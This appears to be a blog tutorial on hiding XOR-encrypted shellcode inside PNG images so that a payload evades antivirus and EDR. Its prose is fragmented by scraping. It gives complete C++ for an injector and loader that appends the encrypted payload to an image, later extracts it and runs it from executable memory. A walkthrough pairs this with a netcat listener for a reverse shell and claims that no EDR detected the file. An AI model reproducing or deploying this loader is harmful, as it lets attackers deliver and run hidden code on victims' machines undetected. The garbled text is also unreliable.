Hiding a shellcode in an image file or PDF file is a classic steganographic technique used to bypass EDRs. the goal to make the malicious file appear as harmless file like image, so it can be delivered to a target system without any suspicious.
also modern AV/EDR scan memory regions disk artifacts and process behaviors for known signatures. one evasion method is to hide our payload in images png,jpg.
first function ReadFile
it does the following:
1vector<char> ReadFile(const string& path) {
2 if (!fs::exists(path)) {
3 cerr << "[-] Error: File does not exist: " << path << endl;
4 return {};
5 }
6 ifstream file(path, ios::binary | ios::ate);
7 if (!file.is_open()) {
8 cerr << "[-] Error: Could not open file: " << path << endl;
9 return {};
10 }
11 streamsize size = file.tellg();
12 file.seekg(0, ios::beg);
13 vector<char> buffer(size);
14 if (!file.read(buffer.data(), size)) {
15 cerr << "[-] Error: Failed to read file: " << path << endl;
16 return {};
17 }
18 file.close();
19 return buffer;
20}
function encrypts or decrypts data using a simple but effective method called a repeating XOR cipher. The beauty of XOR is that the same operation reverses itself.
key
and performs a XOR operation on it.result[i] ^= key[i % key.size()];
%
(modulo) operator handles this. It makes the key repeat.S
is XORed with A
E
is XORed with B
C
is XORed with C
1vector<char> XOREncryptDecrypt(const vector<char>& data, const string& key) {
2 if (key.empty()) {
3 throw runtime_error("XOR key cannot be empty");
4 }
5 vector<char> result = data;
6 for (size_t i = 0; i < data.size(); i++) {
7 result[i] ^= key[i % key.size()];
8 }
9 return result;
10}
11
function takes a host file (like an image), encrypts your payload, and hides it inside.
XOREncryptDecrypt
function to encrypt your shellcode
using the provided key
. This keeps it hidden.buffer
) and simply tacks the encrypted_shellcode
onto the very end.[Original File Data] + [Encrypted Payload] + [Payload Size]
.1
2vector<char> InjectEncryptedPayload(const vector<char>& buffer, const vector<char>& shellcode, const string& key) {
3 vector<char> result = buffer;
4 vector<char> encrypted_shellcode = XOREncryptDecrypt(shellcode, key);
5 result.insert(result.end(), encrypted_shellcode.begin(), encrypted_shellcode.end());
6
7 // Append shellcode "size" as 8-byte footer
8 uint64_t shellcode_size = shellcode.size();
9 char* size_bytes = reinterpret_cast<char*>(&shellcode_size);
10 result.insert(result.end(), size_bytes, size_bytes + sizeof(uint64_t));
11 return result;
12}
13
the most important function does the reverse of the injection: it finds the hidden payload within a file, extracts it, and decrypts it.
shellcode_size
that was stored there during injection. This tells the function exactly how many bytes of encrypted data to look for.XOREncryptDecrypt
function with the same xor_key
to decrypt the payload, restoring it to its original, executable form. This decrypted shellcode is then returned.1vector<char> ExtractAndDecryptShellcode(const vector<char>& file_data, const string& xor_key) {
2 // Check if file is large enough to contain at least the size footer
3 if (file_data.size() < sizeof(uint64_t)) {
4 throw runtime_error("File too small to contain shellcode size metadata");
5 }
6 // Read the shellcode size from the last 8 bytes
7 size_t size_pos = file_data.size() - sizeof(uint64_t);
8 uint64_t shellcode_size;
9 memcpy(&shellcode_size, file_data.data() + size_pos, sizeof(uint64_t));
10 // Check if file is large enough to contain the shellcode
11 if (file_data.size() < shellcode_size + sizeof(uint64_t)) {
12 throw runtime_error("File too small to contain the shellcode");
13 }
14 // Extract the encrypted shellcode
15 size_t payload_start = file_data.size() - shellcode_size - sizeof(uint64_t);
16 vector<char> encrypted_payload(file_data.begin() + payload_start, file_data.begin() + size_pos);
17 return XOREncryptDecrypt(encrypted_payload, xor_key);
18}
This function is the final step: it extracts the hidden shellcode from a file and runs it directly in memory.
ExtractAndDecryptShellcode
function you asked about earlier. This pulls the shellcode out of the file and decrypts it using the secret key.mmap
command.munmap
.1
2void extractAndRunShellcode(const string& filepath, const string& xor_key) {
3 vector<char> file_data = ReadFile(filepath);
4 if (file_data.empty()) {
5 cerr << "[-] Error: Failed to load file: " << filepath << endl;
6 return;
7 }
8
9 try {
10 vector<char> shellcode = ExtractAndDecryptShellcode(file_data, xor_key);
11 cout << "Extracted and decrypted shellcode (" << shellcode.size() << " bytes)" << endl;
12 cout << "XOR key used: " << xor_key << endl;
13
14 // Allocate executable memory
15 void* exec_mem = mmap(NULL, shellcode.size(), PROT_READ | PROT_WRITE | PROT_EXEC,
16 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
17 if (exec_mem == MAP_FAILED) {
18 perror("Failed to allocate executable memory");
19 return;
20 }
21
22 // Copy shellcode to the allocated executable memory
23 memcpy(exec_mem, shellcode.data(), shellcode.size());
24
25 // Execute the shellcode
26 cout << "Executing shellcode...\n";
27 void (*shellcode_func)() = (void (*)())exec_mem;
28 shellcode_func();
29
30 // Deallocate the executable memory
31 munmap(exec_mem, shellcode.size());
32
33 } catch (const exception& e) {
34 cerr << "Error extracting shellcode: " << e.what() << endl;
35 }
36}
37
This main
function is the "brain" of your program. It reads the commands you type in the terminal and decides what to do.
-execute
flag, and the -key
). It stores these in variables like inputImagePath
, key
, etc.-execute
flag. extractAndRunShellcode
function to do the actual work of running the payload.ReadFile
to load the image and the shellcode.1
2int main(int argc, char* argv[]) {
3 if (argc < 2) {
4 printUsage(argv[0]);
5 return 1;
6 }
7
8 bool execute = false;
9 string inputImagePath, outputImagePath, shellcodePath,key;
10
11 for (int i = 1; i < argc; ++i) {
12 string arg = argv[i];
13 if (arg == "-execute" && i + 1 < argc) {
14 execute = true;
15 inputImagePath = argv[++i];
16 } else if (arg == "-key" && i + 1 < argc) {
17 key = argv[++i];
18 if (key.empty()) {
19 cerr << "[-] Error: XOR key cannot be empty" << endl;
20 printUsage(argv[0]);
21 return 1;
22 }
23 } else if (inputImagePath.empty()) {
24 inputImagePath = arg;
25 } else if (!execute && outputImagePath.empty()) {
26 outputImagePath = arg;
27 } else if (!execute && shellcodePath.empty()) {
28 shellcodePath = arg;
29 } else {
30 cerr << "[-] Error: Unexpected argument: " << arg << endl;
31 printUsage(argv[0]);
32 return 1;
33 }
34 }
35
36 // Validate required parameters
37 if (execute) {
38 if (inputImagePath.empty() || key.empty()) {
39 cerr << "[-] Error: Execution requires input file path and XOR key" << endl;
40 printUsage(argv[0]);
41 return 1;
42 }
43 extractAndRunShellcode(inputImagePath, key);
44 } else {
45 if (inputImagePath.empty() || outputImagePath.empty() || shellcodePath.empty() || key.empty()) {
46 cerr << "[-] Error: Injection requires input image, output image, shellcode paths, and XOR key" << endl;
47 printUsage(argv[0]);
48 return 1;
49 }
50
51 vector<char> image = ReadFile(inputImagePath);
52 if (image.empty()) {
53 cerr << "[-] Error: Failed to load input image: " << inputImagePath << endl;
54 return 1;
55 }
56
57 vector<char> shellcode = ReadFile(shellcodePath);
58 if (shellcode.empty()) {
59 cerr << "[-] Error: Failed to load shellcode: " << shellcodePath << endl;
60 return 1;
61 }
62
63 cout << "\n=== File info ===" << endl;
64 cout << "Input file: " << inputImagePath << endl;
65 cout << "Output file: " << outputImagePath << endl;
66 cout << "Payload file: " << shellcodePath << endl;
67 cout << "Image size: " << image.size() << " bytes" << endl;
68 cout << "Payload size: " << shellcode.size() << " bytes" << endl;
69 cout << "XOR key: " << key << endl;
70
71 // Encrypt and inject payload
72 vector<char> newFile = InjectEncryptedPayload(image, shellcode, key);
73
74 // Write the new file
75 ofstream nFile(outputImagePath, ios::binary);
76 if (!nFile.is_open()) {
77 cerr << "[-] Error: Could not create or write to file: " << outputImagePath << endl;
78 return 1;
79 }
80
81 nFile.write(newFile.data(), newFile.size());
82 nFile.close();
83
84 cout << "\n[+] Success: File written to " << outputImagePath << endl;
85 cout << "[+] Encrypted and injected " << shellcode.size() << " bytes" << endl;
86 cout << "[+] New file size: " << newFile.size() << " bytes" << endl;
87 cout << "[+] Remember these parameters for execution:" << endl;
88 cout << "[+] XOR key: " << key << endl;
89 }
90
91 return 0;
92}
93
nc -lnvp 4444
. This command tells our computer to wait for an incoming connection on port 4444
.injector
tool to hide a malicious payload (shellcode.bin
) inside a normal image (free-nature-images.png
)../injector <original_image> <new_image> <payload_file> -key test
new.png
. This file looks like a normal picture, but it secretly contains our encrypted payload. The secret key is "test".injector
tool in its second mode to extract and run the code hidden inside new.png
../injector -execute new.png -key tes
whoami
, and it correctly responded with mohe
.as we can see this is the malicious image, no EDR was able to detect it, because it is encrypted with XOR.
Published 18 days ago
R
is XORed with A
(the key repeats)E
is XORed with B
T
is XORed with C
InjectEncryptedPayload
to combine them into a new file.